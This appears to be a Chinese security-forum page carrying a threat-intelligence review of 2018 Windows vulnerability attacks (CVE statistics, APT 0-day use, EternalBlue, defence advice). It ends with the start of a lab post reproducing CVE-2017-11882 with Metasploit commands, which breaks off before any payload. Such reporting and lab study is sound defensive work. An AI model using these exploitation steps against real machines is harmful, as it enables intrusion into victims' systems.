Windows下半年被曝出的0day漏洞,几乎都是通过APT组织投放的攻击样本发现,可以看出APT组织较喜爱利用0day漏洞,以达到出其不意,一击必杀的目的,且将攻击影响范围缩到最小,确保攻击活动的隐匿性。 四、 如何做好漏洞防护4.1 个人用户漏洞防护
4.1.1 及时修复安全漏洞开启安全软件实时防护
防范漏洞攻击最直接有效的方法就是使用新版本的系统,并且及时修复系统环境中存在的安全漏洞。
4.1.2 培养良好的计算机使用习惯
个人需提高计算机网络安全意识,不轻易下载不明软件程序,不轻易打开不明邮件夹带的可疑附件,注意识别&不轻易打开可疑的网站,及时备份重要的数据文件。4.2 企业用户漏洞防护
4.2.1 建立有效的漏洞情报监控体系,建设完善的漏洞补丁管理能力
建立起有效的安全情报监控体系,密切关注各大安全媒体如“御见威胁情报中心”的威胁情报预警。
同时需要做好生产力工具的安全管理,积极安装最新补丁,修复漏洞,时刻保证个人/企业使用的设备、软件、硬件的安全性,缩短漏洞平均存续期,可以大大减少被不法分子攻击的可能。使用腾讯御点终端安全管理系统可以全网统一安装系统补丁,提升客户端的安全性。
 

4.2.2 安全演练,培养员工良好的信息安全意识
定期组织企业信息安全演练,以钓鱼邮件、钓鱼网页、社会工程等拟真攻击手段来提高员工安全意识,能使员工对信息安全有更深刻的印象与认识,从终端杜绝安全威胁。五、 回顾2018,展望2019
回顾2018,勒索病毒、挖矿木马大行其道,智能合约、智能硬件、人工智能等新技术带来新趋势的同时更带来新的安全威胁,全球各领域漏洞提交数量持续上涨而0day漏洞正变得愈发常见,全球各行各业的重大信息泄露事件层见迭出,APT组织带有政治意味的攻击也愈发猖狂,国际信息安全态势正处于弓弦逐渐紧绷的时刻,而作为信息安全守护者的我们,更应该时刻思考如何应对新的变化,永远做好迎接全新挑战的准备 。5.1 思维进化,道高一丈
2018年12月,国内黑客就用一起典型的、针对软件供应链发起的攻击结合利用漏洞传播木马的安全事件(广东省深圳市某知名软件厂商软件升级通道传播木马),拉开了安全攻防新时代的巨幕。在技术革新不断发生的时代,“进攻方”的手段在不断演化升级,作为“防守方”更要时刻开阔眼界,与时俱进,不死守陈旧的防守观,追求“魔高一尺道高一丈”,才能真正成为信息安全的守护神。5.2 千里之堤毁于蚁穴,人永远是最大的漏洞
 
钓鱼、广告甚至社会工程学等传统、低技术含量的手段能够屡试不爽,成为黑客们最喜爱的传播病毒、木马的手段,恰恰说明了信息安全中最大的漏洞还是在人身上。低技术含量的攻击手段本身,就是个高效的筛选器,可以过滤掉那些对计算机和网络十分了解的精明用户,将安全意识低下的目标人群筛选出来,真正地达到高精准的定点攻击,基于这样的情况,企业、政府等机构更是需要多进行安全事件演习,加强业务人员的信息安全意识,才能在真正意义上“修复漏洞”,保障信息安全。
 5.3  需建设多维、立体的安全能力体系
 
安全漏洞涉及计算机的方方面面,企业信息安全不能再只作简单的网络隔离,更要全方位地加强企业生产力设备中网络、软件、硬件的安全性,做好补丁管理及时更新企业软硬件,并建设一定的漏洞检测、安全应急响应、威胁情报监控、攻击溯源追踪能力,才能拥有一道更坚固的信息安全防火墙。 查看全部
一、   前言
漏洞是影响网络安全的重要因素,而漏洞攻击作为恶意攻击的最常用手段,更是有着目标行业化、手段多样化的趋势,不论是个人还是企业,都面临着严峻的漏洞威胁。
2018年在轰动式的“幽灵”、“熔断”两大CPU漏洞中揭开序幕。“震网3漏洞利用挖矿”、“412挂马风暴”等安全事件发生表明,漏洞利用攻击,不再是APT组织的“专属”,漏洞利用正往“低成本化”趋势发展。过去一年,Windows、Office、IE、Flash等高危漏洞频繁被曝光,而各种野外漏洞利用更是攻击层出不穷,更给个人和企业的网络安全带来了严峻的威胁。本报告主要重点分析2018年Windows平台的漏洞攻击态势,并给个人和企业合理化的漏洞防护建议。二、2018年Windows平台漏洞盘点
2018年对于安全行业是颇具考验的一年,据安全数据库网站cvedetails.com的漏洞提交数据统计,自1999年起,Windows操作系统的漏洞提交数量就呈逐年上涨的趋势,而在近几年达到了一个爆发期,今年的安全漏洞提交数相较过往三年同比上升最高超过40%,安全漏洞的数量和严重性创下历史新高。
 
2.1  2018年Windows安全公告数量
在软硬件漏洞遍地都是的今天,补丁管理作为网络安全最基础的一环,就显得尤为重要。在企业选择产品时亦需要注意厂商对其产品安全性的投入,只有软件/平台开发商对于产品安全性投入高,产品才有保障。微软作为全球知名的软件开发商,对其名下产品的安全性投入是比较到位的,每月都会进行维护发布补丁修复安全漏洞。2018全年微软共为其产品(Windows,IE/Edge,office等)发布了874个补丁,修复了728个漏洞,平均每月修复多达60个漏洞。

 2.2  Windows漏洞影响产品&系统分布
2018年,在所有漏洞影响的Windows产品中,Windows系统组件漏洞占到了35%的比例,浏览器漏洞占25%,Office漏洞则占比17% 。
 

根据腾讯御见威胁情报中心的数据监测,虽然Office和Adobe(主要是Flash)被曝光的漏洞相对较少,但漏洞利用的比例最高。可见,黑客挑选漏洞时,更可能是优先考虑漏洞利用的成本,并参考其攻击目标人群与产品用户的重合度,而与产品本身漏洞量的多少并无正相关。
 

相比较2017年,2018年Office和.net的漏洞曝光量上升比较明显,相对Windows系统组件漏洞,Office漏洞常被大家忽视,但却备受黑客喜爱,众多专业黑客组织对重要目标的攻击,会选择使用Office高危漏洞,腾讯御见威胁情报中心再次提醒大家需及时安装Office漏洞补丁,避免偶然打开一个文档就被植入后门。
 

在所有Windows各版本中,受到最多漏洞影响的却是Windows 10系统,这说明Windows 10已是主流的操作系统版本,其漏洞曝光量正越来越多,同时提醒广大用户,即便使用最新版本的操作系统,也不可忽视漏洞风险,每个月及时安装安全更新是防范黑客入侵的必要步骤。
 

从2017年同比数据也可以看出,Windows Server 2016上报告的漏洞数增加了近7%,同时可预测,针对新版服务器操作系统的漏洞也将越来越多。
 
2.3  2018年漏洞攻击的地区&行业分布
2018年漏洞攻击地区分布与当地经济水平及信息化普及程度相关。2018年漏洞攻击集中在北上广三地,其中以国家政府机关、高科技人才和经济富裕人士汇集的首都北京首当其冲。北上广是全国经济、政治和科技要地,更是走在中国国际化的前列,大量可见利益汇集,是不法黑客首选的攻击目标。
 

根据腾讯御见威胁情报中心数据监测, Windows操作系统存在高危漏洞在教育、政府、卫生医疗行业占比最高。
 

从受攻击量的对比数据看,政府、教育、医疗卫生行业因为其系统存在大量高危漏洞未及时修复,所受攻击次数也相对较高。而科技行业虽然漏洞存在量相对较少,受攻击量却是最高的,这样从另一方面说明,漏洞利用攻击者通常是有目的针对性地采取攻击,对科技行业的攻击,泄取机密往往成为首选目的。
 
2.4   国内用户整体漏洞修复情况&高危漏洞修复情况
2018国内用户整体漏洞修复中,Windows漏洞和.NET漏洞达到了70%以上的修复率,其次是IE、Flash和Office漏洞修复率徘徊在60%上下。整体漏洞修复率偏低可以反映出国内的个人用户目前的信息安全意识亟待提升,公众对于安全漏洞的危害认知尚不到位。

而在四类高危漏洞(存在野外利用的漏洞)修复中,Windows高危漏洞达到了82%的修复率,其次是IE和.NET高危漏洞修复率约达到70%,Flash和Office高危漏洞则修复率较低,仅有约50%。
 

Flash高危漏洞修复率偏低是由于许多第三方软件会自带一个Flash插件,而微软官方提供的Flash补丁仅能更新其中一小部分,无法完全覆盖第三方浏览器目录下的所有Flash插件,导致部分用户电脑上的Flash漏洞较难得到彻底修复解决。
Office软件本身对更新做的是相对较弱的提示,如果没有第三方安全软件的强提醒,一般用户主动安装补丁修复Office安全漏洞的较少;另一方面,国内存在大量盗版Office用户,而这些盗版镜像往往经过镜像制作者的修改,难以正常安装补丁。对于重要的政府机构、企事业单位、科研机构来说,软件系统的正版化对降低黑客入侵风险具有十分重要的意义。2.5 Windows漏洞危害类型分布&漏洞危害等级分布
在2018年曝光的Windows平台漏洞中,远程执行代码类漏洞达到了42%的高占比,其次是信息泄露类漏洞和特权提升类漏洞各占20%。远程执行代码类漏洞由于其兼具隐蔽性与自由度,广受黑客攻击者欢迎,今年曝出的两个IE“双杀”0day漏洞(CVE-2018-8174、CVE-2018-8373)就是被广泛利用于恶意攻击的最好例子。
 

2018年曝光的Windows平台漏洞中,“危急”等级(漏洞危害最高等级)的漏洞占比23%,“危急”等级的漏洞量依然占据着较高的比例。
 
2.6  Windows漏洞利用病毒分布&被利用的漏洞分布
在2018年利用漏洞进行攻击的病毒中,非PE(文件格式)占了66%的高比例,而PE文件占了31%。常见非PE漏洞攻击病毒有Office宏类病毒、脚本类病毒。相比较PE,非PE病毒的攻击手法更灵活,对安全软件来说检测非PE病毒更为困难。
 
2.7 2018年Windows平台高危漏洞盘点
 

2018年1
Microsoft Office公式编辑器再次曝出两个高危漏洞CVE-2018-0798和CVE-2018-0802。CVE-2018-0798是Office公式编辑器在解析Matrix Record(0×05)的内容时,没有对行与列的成员进行特定的长度校验,这就导致黑客可以通过精心构造内容任意指定后续读入的行与列长度,从而造成栈溢出。CVE-2018-0802技术原理与之类似,微软在1月9日通过发布移除公式编辑器的补丁修复这两个漏洞。 
[b]20182[/b]
Adobe Flash被曝出一个0day漏洞CVE-2018-4878。该漏洞影响版本在28.0.0.137以下的Adobe Flash,通过修改Flash脚本对象ByteArray的值至特殊长度来实现任意地址读写,实现漏洞利用,再将Adobe Flash Player嵌入Office文档和邮件等载体中并诱使用户打开的途径快速传播漏洞,在解析ATF文件时访问内部数据结构使用了无效的指针偏移导致漏洞,成功攻击后可能会导致敏感信息泄露。该漏洞在2月6日被修复; 
[b]20183[/b]
Ulf Frisk曝光了一个Windows内核提权高危漏洞TotelMeltdown(CVE-2018-1038 )。该漏洞是由微软先前发布用于修复“Meltdown”漏洞的补丁产生的新问题,补丁错误地将PML4权限设定成用户级,可以让任意进程读取并修改页表项目,该漏洞仅影响Windows7 x64 和Windows Server 2008 R2系统,并在3月29日被修复; 
[b]20184[/b]
Internet Explorer被曝出一个0day漏洞“双杀”(CVE-2018-8174)。该漏洞通过VBScriptClass::Release函数中存在的缺陷访问未分配内存,从而触发漏洞达到任意地址读写的目的。该漏洞通过精心构造的页面或往邮件或Office文档中嵌入VBScript脚本即可触发,危害性较强,也因此被命名为“双杀”漏洞,且一遭曝光便第一时间被APT组织利用于黑客活动。该漏洞于5月8日被修复; 
[b]20185[/b]
Windows操作系统和Adobe Acrobat/Reader PDF阅读器被ESET公布了两个捆绑在一起的0day漏洞。
(CVE-2018-8120、CVE-2018-4990)这是源于ESET在3月捕获的用于攻击测试的一个PDF样本。CVE-2018-4990实际上是一个堆内存越界访问任意地址释放漏洞,原样本精准地使用堆喷射布局内存,然后释放两块大小为0xfff8的相邻堆块,在Windows堆分配算法将堆块合并后,利用该堆块改写一个ArrayBuffer对象的长度为0×66666666从而实现任意地址读写。CVE-2018-8120则是由于内核函数 SetImeInfoEx 未对其目标窗口站 tagWINDOWSTATION的指针成员域 spklList 的指向地址进行有效性校验,而是直接进行读取访问。这两个漏洞已在5月被修复; 
[b]20186[/b]
Windows 10被曝出一个0day漏洞(CVE-2018-8414)。这是一个Windows Shell 远程执行代码漏洞,由于Windows Shell在某些情况下会不正确地验证文件路径,通过精心构造的恶意脚本触发该漏洞,可以达到任意读写的目的。该漏洞仅适用于Windows 10的新文件类型“.SettingContent-ms”,该漏洞直到8月14日才正式分配CVE编号并修复。 
[b]20187[/b]
Internet Explorer被曝光0day漏洞“双杀”二代(CVE-2018-8242),它的出现是由于4月“双杀”一代(CVE-2018-8174)的修复补丁并未完全解决漏洞,导致VBScript脚本引擎中仍存在类似问题,该漏洞由360Vulcan团队发现并提交,并在7月10日被修复; 
[b]20188[/b]
(1)   Exchange Server被公开了一个内存损坏漏洞(CVE-2018-8302)的POC,攻击者可使用钓鱼攻击触发漏洞利用攻击企业用户计算机,并再次发起攻击直至接管Exchange Server服务器。Exchange对语音邮件的接收存储过程中,会转换语音邮件读取TopNWords.Data并通过.NET BinaryFormatter对它反序列化,该漏洞就存在于反序列化过程中。(2)   Internet Explorer被Trendmicro曝出0day漏洞“双杀”三代(CVE-2018-8373),它基于与“双杀”一代相似的原理,通过VBScript.dll中存在的缺陷获取任意读取权限。两例漏洞都于8月14日被修复;
[b]20189[/b]
(1)   Windows被曝出ALPC提权0day漏洞(CVE-2018-8440),它通过高级本地过程调用(ALPC)函数中SchRpcSetSecurity函数无法正确检查用户权限的缺陷,获得本地权限提升(LPE)来执行恶意代码。
(2)   Microsoft Jet Database Engine被公开了一个远程代码执行0day漏洞(CVE-2018-8423)的POC,该漏洞是一种越界(OOB)写入漏洞,可诱导用户打开包含以JET数据库格式存储的数据的特制文件,通过对象链接和嵌入数据库(OLEDB)的Microsoft组件打开Jet源来触发漏洞,发起攻击。两例漏洞分别于9月11日和10月9日被修复;
1[b]20180[/b]
(1)   Microsoft Edge被公开了一个关于Windows Shell的RCE高危漏洞(CVE-2018-8495)的POC,攻击者可以使用该漏洞利用POC,通过Microsoft Edge构造包含特殊URI的网页,诱导用户打开即可实现在远程计算机上运行恶意代码。漏洞是由于Windows Shell处理URI时,未过滤特殊的URI所导致(如拉起脚本的Windows Script Host的URI为wshfile)。
(2)   Windows被曝出一个Win32k提权0day漏洞(CVE-2018-8453),它的利用过程较为复杂,简言之是利用了在win32k.sys组件的win32kfull!xxxDestroyWindow函数中的UAF漏洞从而获取本地提权。两例漏洞都于10月9日修复; 
[b]201811[/b]
Windows再被曝出Win32k提权0day漏洞(CVE-2018-8589)。它的出现是由于在win32k!xxxMoveWindow函数中存在不恰当的竞争条件,导致线程之间同时发送的信息可能被不当锁定。该漏洞已在11月13日被修复; 
[b]201812[/b]
(1)   Microsoft DNS Server被曝光存在一个堆溢出高危漏洞(CVE-2018-8626)。所有被设置为DNS服务器的Windows服务器都会受到此漏洞影响。攻击者向Windows DNS服务器发送精心构造的漏洞利用恶意请求,以触发堆溢出并远程代码执行。漏洞于12月11日发布补丁修复。
(2)   Windows连续第四个月被曝出0day漏洞。这次是一个更加高危的kernel内核事务管理器驱动程序的提权漏洞(CVE-2018-8611),它是源于kernel模式下对文件操作的不当处理引发内核事务管理器产生竞争条件,此漏洞绕过了现在主流web浏览器的进程缓解策略而从实现沙箱逃逸,这可让黑客在web上构建完整的远程代码执行攻击链。该漏洞最初在10月29日被发现,微软于12月11日分配CVE号并公布修复补丁; 三、 2018典型漏洞安全事件
2018年的安全行业,可谓是“热闹非凡”。前有勒索病毒野火烧不尽,春风吹又生;后有随着区块链概念被炒热,挖矿挂马频出;上有APT组织针对企业、政府、科研机构、事业单位的定向攻击;下有针对外贸行业的“商贸信”钓鱼邮件和针对个人用户的钓鱼邮件攻击,小规模爆发。
而专业APT组织的攻击手法,对普通病毒木马黑产起到教科书般的指导和示范作用,致使高危漏洞的利用从高端到大众快速传播普及,高危漏洞对信息安全的影响力之大,由此便可见一斑。
3.1  “新一代幽灵”——英特尔CPU漏洞持续升级
继年初发现的CPU漏洞Meltdown和Spectre后,英特尔处理器在2018年5月初又被Google Project Zero安全研究团队曝出发现8个新的“幽灵式”硬件漏洞,被称为“新一代幽灵”——Spectre-NG。利用该漏洞可绕过云主机系统与虚拟机的隔离,实现虚拟机逃逸,窃取机密信息。并且,利用该漏洞还可以攻击同一服务器的其它虚拟机。
然而,在下半年再次发现了英特尔CPU存在TLBleed、Foreshadow、PortSmash等多个超线程漏洞。11月初发现的PortSmash漏洞(CVE-2018-5407)影响所有支持超线程技术的Intel处理器。利用该漏洞,攻击者所在的进程可以窃取运行在同一个物理内核的另外一个进程的隐私数据,安全研究人员已经实现从OpenSSL进程中窃取私钥。
一系列的CPU漏洞,对芯片漏洞的修复同样一波三折,仓促发布的补丁带来新的风险,同时导致CPU性能下降,补丁不得不发行了多个版本,最终促使英特尔加快新一代处理器的发布进程,并成为把超线程技术彻底砍掉的最后一根稻草。 3.2 Office公式编辑器再曝新漏洞,商贸信钓鱼攻击屡试不爽 (CVE-2017-11882、CVE-2018-0802、CVE-2018-0798)
Office公式编辑器漏洞(CVE-2017-11882)是典型的栈溢出漏洞,存在于Eqnedit.exe组件中,该漏洞影响所有Office版本且极易利用,由于该漏洞在2017年11月14日仅仅被Windows添加了ASLR(地址随机化)漏洞缓解措施,实际上并未真正修复,且大量用户并不升级Office补丁,因此至今仍能见到许多野外攻击案例。
2017年12月20日,腾讯御见威胁情报中心就发现Eqnedt32模块还存在其他漏洞,同时捕获了一例“黑凤梨”(BlackTech)APT组织利用Office公式编辑器中的0day漏洞(CVE-2018-0802)进行攻击的样本,该样本采用鱼叉攻击的方式将携带恶意代码的Office文档伪装成办公文件进行传播,影响范围较为广泛。
2018年1月9日,Office公式编辑器再曝出新漏洞,这次Windows干脆直接通过删掉公式编辑器的途径来修复漏洞,一了百了。但漏洞补丁刚发布一周,就已开始出现多例CVE-2018-0798漏洞的变种和在野利用。
2018年2月26日腾讯御见威胁情报中心捕获到doc文档样本利用了CVE-2017-11882,通过下载并运行已被公开源码的“波尼”木马,窃取用户比特币钱包文件等敏感信息。
2018年6月1日,腾讯御见威胁情报中心再次检测到针对中国进出口企业投放的,利用CVE-2017-11882的大规模“商贸信”攻击,此类攻击邮件的投放量每天达上千封之多,病毒变种也层出不穷。
由此可以预见,未来相当长的一段时间内,鱼叉攻击+简单易用又十分符合办公场景的Office公式编辑器漏洞,仍会成为备受欢迎的针对中小型企业的攻击手段之一。3.3 Adobe系列产品多次报警,0day漏洞屡遭曝光
3.3.1 Adobe Flash再曝0day野外利用(CVE-2018-4878、CVE-2018-5002)
2018年2月1日, Adobe官方发布了安全通告(APSA18-01)称一个最新的Adobe Flash零日漏洞被发现用于针对韩国地区的人员发起鱼叉攻击。该0day漏洞编号为CVE-2018-4878,官方已于2月5日发布补丁进行修复。漏洞公布后,随即发现大量垃圾邮件迅速利用该漏洞进行传播,攻击者发送带有短链接的恶意Word文档的电子邮件,在下载并打开Word文档后,利用该漏洞打开命令行,再用链接到的恶意域的恶意shellcode远程注入命令,下载一个名为m.db的DLL文件,并使用regsvr32进程执行,完成攻击链。 
CVE-2018-5002则在2018年6月7日被发现野外利用,由APT组织Hacking Team通过即时聊天工具或邮箱发送包含外交部官员基本工资情况(阿拉伯语)的钓鱼文档进行攻击,在诱饵文档被用户打开后在宿主进程excel中执行恶意代码,并利用假冒的网站作为木马下载站达成进攻目的。攻击者将Loader、Exploit、Payload实行分离部署,加大安全工程师逆向还原漏洞利用代码的难度,显然是经过精心准备。
该APT组织费尽心思精心构造了攻击链,并使用0day漏洞攻击政府相关部门,可见其具有一定的政治意图。
3.3.2 Adobe Reader被发现0day漏洞在野利用攻击(CVE-2018-8120、CVE-2018-4990)
2018年5月15日, ESET捕获了一个使用两个0day漏洞联合进行攻击的PDF样本,其中包括一个Adobe Reader的0day漏洞(CVE-2018-4990)和Win32k的内核提权0day漏洞(CVE-2018-8120)。
CVE-2018-8120是Win32k特权提升漏洞,CVE-2018-4990是Adobe Acrobat/Reader的堆内存越界访问任意地址释放漏洞,攻击样本通过CVE-2018-4990获取代码执行权限,再通过利用内核提权漏洞绕过Adobe Acrobat/Reader的沙盒保护并实现任意代码执行。而有意思的是该样本仅是一个测试样本,两个0day漏洞还没来得及利用于攻击便已被修复。3.4  老漏洞被反复利用,“永恒之蓝”是否真的永恒?
多数黑客进攻个人电脑和企业服务器的目的,还是从不法途径谋取利益。往往是美味的蛋糕在哪里,不法黑客的身影就出现在哪里,病毒与木马也就如影随形地进攻到哪里。而这批利益至上的黑客们,对易用又稳定的老漏洞可谓是爱不释手,让我们再来看看2018年那些利用老漏洞进行攻击的热点安全事件。 
3.4.1 “永恒之蓝”系列漏洞:从勒索病毒到挖矿木马
“永恒之蓝”是一个于2017年被曝光的,存在于445端口上的SMB文件共享协议漏洞,不法分子利用此漏洞获取系统最高权限,将病毒木马等恶意软件植入Windows系统。近两年来, “永恒之蓝”漏洞已经成为被利用程度最高的安全漏洞之一。
勒索病毒主要通过三种途径传播:漏洞利用、钓鱼邮件和广告。其中通过漏洞发起的攻击占攻击总数的80%以上,典型案例就是以利用“永恒之蓝”漏洞主动传播的蠕虫式勒索病毒。“永恒之蓝”(WannaCry)可以说是开启了勒索病毒的新时代,并将这样的势头延续到了今年。另外,随着区块链的概念越发火热,今年越来越多的人加入炒币行列,而不法黑客自然不会放过这个牟利的好机会。
今年3月,腾讯御见情报威胁中心就捕获一个门罗币挖矿木马WannaMiner利用“永恒之蓝”漏洞在局域网内传播,将染毒机器打造成庞大的僵尸网络,长期潜伏挖矿,国内600多家企业超3万台电脑受到感染;
今年5月,捕获一款门罗币挖矿木马“微笑”通过扫描“永恒之蓝”漏洞攻击企业服务器悄悄在后台进行挖矿。该木马从3月就开始活动,截至5月,其已经累计挖取846枚门罗币,挖矿收入一度高达120万人民币;
6月1日,捕获一款Glupteba恶意代理木马利用“永恒之蓝”漏洞在局域网迅速传播,感染量激增;
今年8月,台积电曝出遭受WannaCry勒索病毒攻击导致产线瘫痪,造成25.96亿新台币损失;
8月9日,捕获蠕虫病毒bulehero利用“永恒之蓝”漏洞在企业内网攻击传播;
11月,又有一家知名半导体企业合晶科技,其位于大陆的工厂全线感染WannaCry勒索病毒,造成产线瘫痪,工厂全部停产。
由于越大型的单位和机械系统,越追求稳定性,使用的越是win7sp0、xp等微软早已停止提供更新服务的操作系统,因此存在大量无法及时修复的漏洞。而只要漏洞场景存在,安全威胁就不会消失,与勒索病毒和挖矿木马的抗争,就必须持续进行下去。 
3.4.2 国内首例利用“震网3”LNK漏洞实施挖矿
2018年3月,腾讯御见威胁情报中心监测到,国内首例使用U盘作为传播载体,利用lnk远程代码执行漏洞(CVE-2017-8464)作为主要传播手段的门罗币挖矿木马。
病毒样本通过利用Lnk漏洞执行恶意代码,还会自动感染其它插入的可移动磁盘。使用U盘作为传播载体,可被用来攻击基础设施、存放关键资料的核心隔离系统等,对政企单位的内网安全有较大威胁。由于该次攻击主要影响群体为频繁使用U盘进行文件传送的局域网用户,使得校园和政企等单位频频中招。
其实“震网3”这种通过快捷方式产生的漏洞本身没什么技术含量,但由于其超链接的特性能够执行系统上任意程序或脚本,自由度极高且隐蔽性强而在漏洞利用攻击中喜闻乐见。
3.4.3 “412”挂马风暴(CVE-2016-0189)
2018年4月12日,腾讯御见威胁情报中心监控到大量客户端的内嵌新闻页中被嵌入恶意代码,导致用户在毫无知情的情况,被植入挖矿木马、银行木马、以及远控木马等。本波挂马波及到的客户端多达50多个,影响超过20w用户,影响面非常之广。该挂马利用了一个2016年3月的vbscript脚本引擎损坏漏洞(CVE-2016-0189)来下载恶意脚本。CVE-2016-0189与今年新的IE“双杀”0day漏洞CVE-2018-8174一样,曾经是一个被用于APT攻击的0day漏洞,该漏洞利用了VBScript脚本引擎vbscript.dll中存在的数组访问越界问题来执行恶意代码。
可以看到,黑客们也会“偷懒”,几乎所有被大量使用的漏洞,都是那些简单易用、稳定又成功率高的漏洞。对于黑客而言,除非是为了完成一些特殊的任务,否则那些漏洞利用中的技术壁垒则是必须要考虑的因素之一。3.5 Windows下半年频现0day漏洞
今年是0day漏洞持续爆发的一年,Windows系产品可谓是多灾多难,不仅在补丁发布和Win10子版本升级方面BUG频出,让用户叫苦不迭;更是在短短半年时间内被连续曝出10个0day漏洞,7个已发现野外利用,而其中有6个在被发现的短短几天时间内,就迅速被APT组织利用于盗窃企业、政府机构的机密信息,0day漏洞的重要性,从这些黑客的手上就能够读懂。
3.5.1 “双杀”0day漏洞被APT组织DarkHotel(黑店)APT组织利用(CVE-2018-8174、CVE-2018-8242、CVE-2018-8373)
2018年4月18日,首个IE“双杀”系列漏洞CVE-2018-8174的在野攻击样本被发现,由此开启了Windows下半年每月“稳定供应”一个0day漏洞的节奏。
据报道称,该样本来自一个被命名为Darkhotel(APT-C-06)的APT组织。该APT组织善于利用高危漏洞针对企事业单位进行定向攻击,窃取国家机密,DarkHotel早在年初就利用Office公式编辑器漏洞发起过针对政府单位的攻击。
在接下来的7月、8月里,Internet Explorer又相继被曝出“双杀”二代(CVE-2018-8242)和“双杀”三代(CVE-2018-8373)0day漏洞。DarkHotel组织再度使用相同的攻击技术,利用 “双杀”三代针对企业高管、国防工业、电子工业等重要机构发起定向攻击。
除被APT组织多次利用外,“双杀”一代(CVE-2018-8174)还在6月16日被腾讯御见威胁情报中心捕获到一个木马传播利用的案例。一款名为“流量宝流量版”的软件在软件内嵌的IE浏览器中利用该漏洞执行shellcode并下载DDoS木马和挖矿木马等将受害电脑控制为肉鸡。来自该样本的漏洞利用攻击请求次数,最高曾高达30多万次。
3.5.2  APT组织Darkhydrus和摩诃草对CVE-2018-8414的利用
2018年6月,一种关于Windows 10新引入的文件类型“.SettingContent-ms”的任意代码执行攻击技巧被公开了POC,该漏洞一遭公开就迅速被不法黑客和APT组织利用。在野外攻击中,捕获多个利用该0day漏洞的攻击样本。
据报道,曾发现Darkhydrus使用该漏洞利用技术,用于投递DNS隧道通信攻击,另外,疑似APT组织摩诃草也曾利用该漏洞投放攻击样本。
直到2018年8月14日微软才发布相应漏洞补丁并给予漏洞编号CVE-2018-8414。
3.5.3  APT组织FruityArmor对CVE-2018-8453的利用
CVE-2018-8453是一个位于win32kfull!xxxDestroyWindow函数中的UAF远程代码漏洞,该漏洞最早在8月由卡巴斯基实验室发现被APT组织FruityArmor利用于近期的攻击活动中,据悉,卡巴斯基实验室捕获的攻击样本使用的shellcode长期以来只被FruityArmor在C2领域所使用,而这次,FuityArmor利用该漏洞发起的攻击似乎有高度针对性,仅影响了中东地区的十几名用户。
3.5.4 APT组织SandCat对两个0day提权漏洞的利用(CVE-2018-8589、CVE-2018-8611)
10月17日,卡巴斯基实验室发现一例APT组织SandCat针对中东地区用户进行的小范围针对性攻击,该攻击利用了Windows Win32k本地提权漏洞CVE-2018-8589,该漏洞仅影响Windows 7 x86以及WindowsServer 2008操作系统,暂时仅被发现利用于APT活动。
而该漏洞被发现还不到一个月,在10月29日,再次发现一个新的Windows内核提权0day漏洞CVE-2018-8611被同一组织利用。新的漏洞可以绕过了主流web浏览器的沙箱,相较于CVE-2018-8589而言更具威胁性。
Windows下半年被曝出的0day漏洞,几乎都是通过APT组织投放的攻击样本发现,可以看出APT组织较喜爱利用0day漏洞,以达到出其不意,一击必杀的目的,且将攻击影响范围缩到最小,确保攻击活动的隐匿性。 四、 如何做好漏洞防护4.1 个人用户漏洞防护
4.1.1 及时修复安全漏洞开启安全软件实时防护
防范漏洞攻击最直接有效的方法就是使用新版本的系统,并且及时修复系统环境中存在的安全漏洞。
4.1.2 培养良好的计算机使用习惯
个人需提高计算机网络安全意识,不轻易下载不明软件程序,不轻易打开不明邮件夹带的可疑附件,注意识别&不轻易打开可疑的网站,及时备份重要的数据文件。4.2 企业用户漏洞防护
4.2.1 建立有效的漏洞情报监控体系,建设完善的漏洞补丁管理能力
建立起有效的安全情报监控体系,密切关注各大安全媒体如“御见威胁情报中心”的威胁情报预警。
同时需要做好生产力工具的安全管理,积极安装最新补丁,修复漏洞,时刻保证个人/企业使用的设备、软件、硬件的安全性,缩短漏洞平均存续期,可以大大减少被不法分子攻击的可能。使用腾讯御点终端安全管理系统可以全网统一安装系统补丁,提升客户端的安全性。
 

4.2.2 安全演练,培养员工良好的信息安全意识
定期组织企业信息安全演练,以钓鱼邮件、钓鱼网页、社会工程等拟真攻击手段来提高员工安全意识,能使员工对信息安全有更深刻的印象与认识,从终端杜绝安全威胁。五、 回顾2018,展望2019
回顾2018,勒索病毒、挖矿木马大行其道,智能合约、智能硬件、人工智能等新技术带来新趋势的同时更带来新的安全威胁,全球各领域漏洞提交数量持续上涨而0day漏洞正变得愈发常见,全球各行各业的重大信息泄露事件层见迭出,APT组织带有政治意味的攻击也愈发猖狂,国际信息安全态势正处于弓弦逐渐紧绷的时刻,而作为信息安全守护者的我们,更应该时刻思考如何应对新的变化,永远做好迎接全新挑战的准备 5.1 思维进化,道高一丈
2018年12月,国内黑客就用一起典型的、针对软件供应链发起的攻击结合利用漏洞传播木马的安全事件(广东省深圳市某知名软件厂商软件升级通道传播木马),拉开了安全攻防新时代的巨幕。在技术革新不断发生的时代,“进攻方”的手段在不断演化升级,作为“防守方”更要时刻开阔眼界,与时俱进,不死守陈旧的防守观,追求“魔高一尺道高一丈”,才能真正成为信息安全的守护神。5.2 千里之堤毁于蚁穴,人永远是最大的漏洞
 
钓鱼、广告甚至社会工程学等传统、低技术含量的手段能够屡试不爽,成为黑客们最喜爱的传播病毒、木马的手段,恰恰说明了信息安全中最大的漏洞还是在人身上。低技术含量的攻击手段本身,就是个高效的筛选器,可以过滤掉那些对计算机和网络十分了解的精明用户,将安全意识低下的目标人群筛选出来,真正地达到高精准的定点攻击,基于这样的情况,企业、政府等机构更是需要多进行安全事件演习,加强业务人员的信息安全意识,才能在真正意义上“修复漏洞”,保障信息安全。
 5.3  需建设多维、立体的安全能力体系
 
安全漏洞涉及计算机的方方面面,企业信息安全不能再只作简单的网络隔离,更要全方位地加强企业生产力设备中网络、软件、硬件的安全性,做好补丁管理及时更新企业软硬件,并建设一定的漏洞检测、安全应急响应、威胁情报监控、攻击溯源追踪能力,才能拥有一道更坚固的信息安全防火墙。

CVE-2017-11882漏洞复现及个人体会

渗透测试wuyou 发表了文章 • 1 个评论 • 1278 次浏览 • 2019-01-20 17:20 • 来自相关话题

漏洞概述:
     CVE-2017-11882是一个潜伏17年之久的可以通杀office 2003到2016的所有版本的漏洞,攻击者只需要给目标发送一个word文档并且这个文档被打开,那么攻击者就可以肆意进行创建后门等操作。
复现环境:
    windows 7
     kail linux
     office 2016
过程:
      1、开启metasploit
                       root@wuyou:~# msfconsole
     2、搜寻模块并使用
                       msf > search CVE-2017-11882                    
                       msf > use exploit/windows/smb/CVE-2017-11882 
这里我使用了网上找的另一个rb文件




      3、查看设置并填入
                        msf exploit(windows/smb/CVE-2017-11882) > show options




查询渗透机IP地址
                     root@wuyou:~# ifconfig




设置渗透机的IP地址
